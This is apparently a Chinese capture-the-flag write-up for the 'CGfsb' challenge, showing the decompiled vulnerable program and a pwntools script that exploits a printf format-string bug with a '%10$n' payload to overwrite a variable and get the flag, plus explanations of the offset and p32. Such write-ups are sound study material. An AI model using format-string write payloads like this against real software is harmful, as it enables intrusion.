攻防世界 | CGfsb

这题算是一次复现,虽然师傅们的wp已经很详细了但是对于我菜虚困来说还是有些点不是很懂,所以特此梳理一下思路


int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:
");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

读一下伪码可以看到只要让 pwnme==8 就行了。

from pwn import *

p = remote('111.198.29.45',34352)
pwnme = 0x0804A068 

payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'

p.recvuntil('please tell me your name:
')
p.sendline(payload1)
p.recvuntil('leave your message please:
')
p.sendline(payload2)
print(p.recv())
print(p.recv())  # p.interactive()

%10$n 是什么意思 ?答: 将XXX写入偏移10处 保存的指针 所指向的地址(4字节)[在这里是把一个字符串的长度(自己构造一个长度为8的)写到pwnme的地方]

偏移为什么10 ? 答:gdb调试可得(PS :在调试之前记得chmod 777)

 这里通过输入的‘21’带出了偏移地址

p32()是什么函数?答:pwntools提供了一组函数用来对给定的数据按照一定的格式进行解码和编码。这些函数以p或u为开头,后面加上一个数字代表位数,例如p32和u32。

 printf(&s) 其中s='h�aaaa%10$n'


参考:

https://blog.csdn.net/zz_Caleb/article/details/88980866

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5050&number=2&grade=0&page=1

https://blog.csdn.net/AlexYoung28/article/details/83152030

原文地址:https://www.cnblogs.com/chrysanthemum/p/11756184.html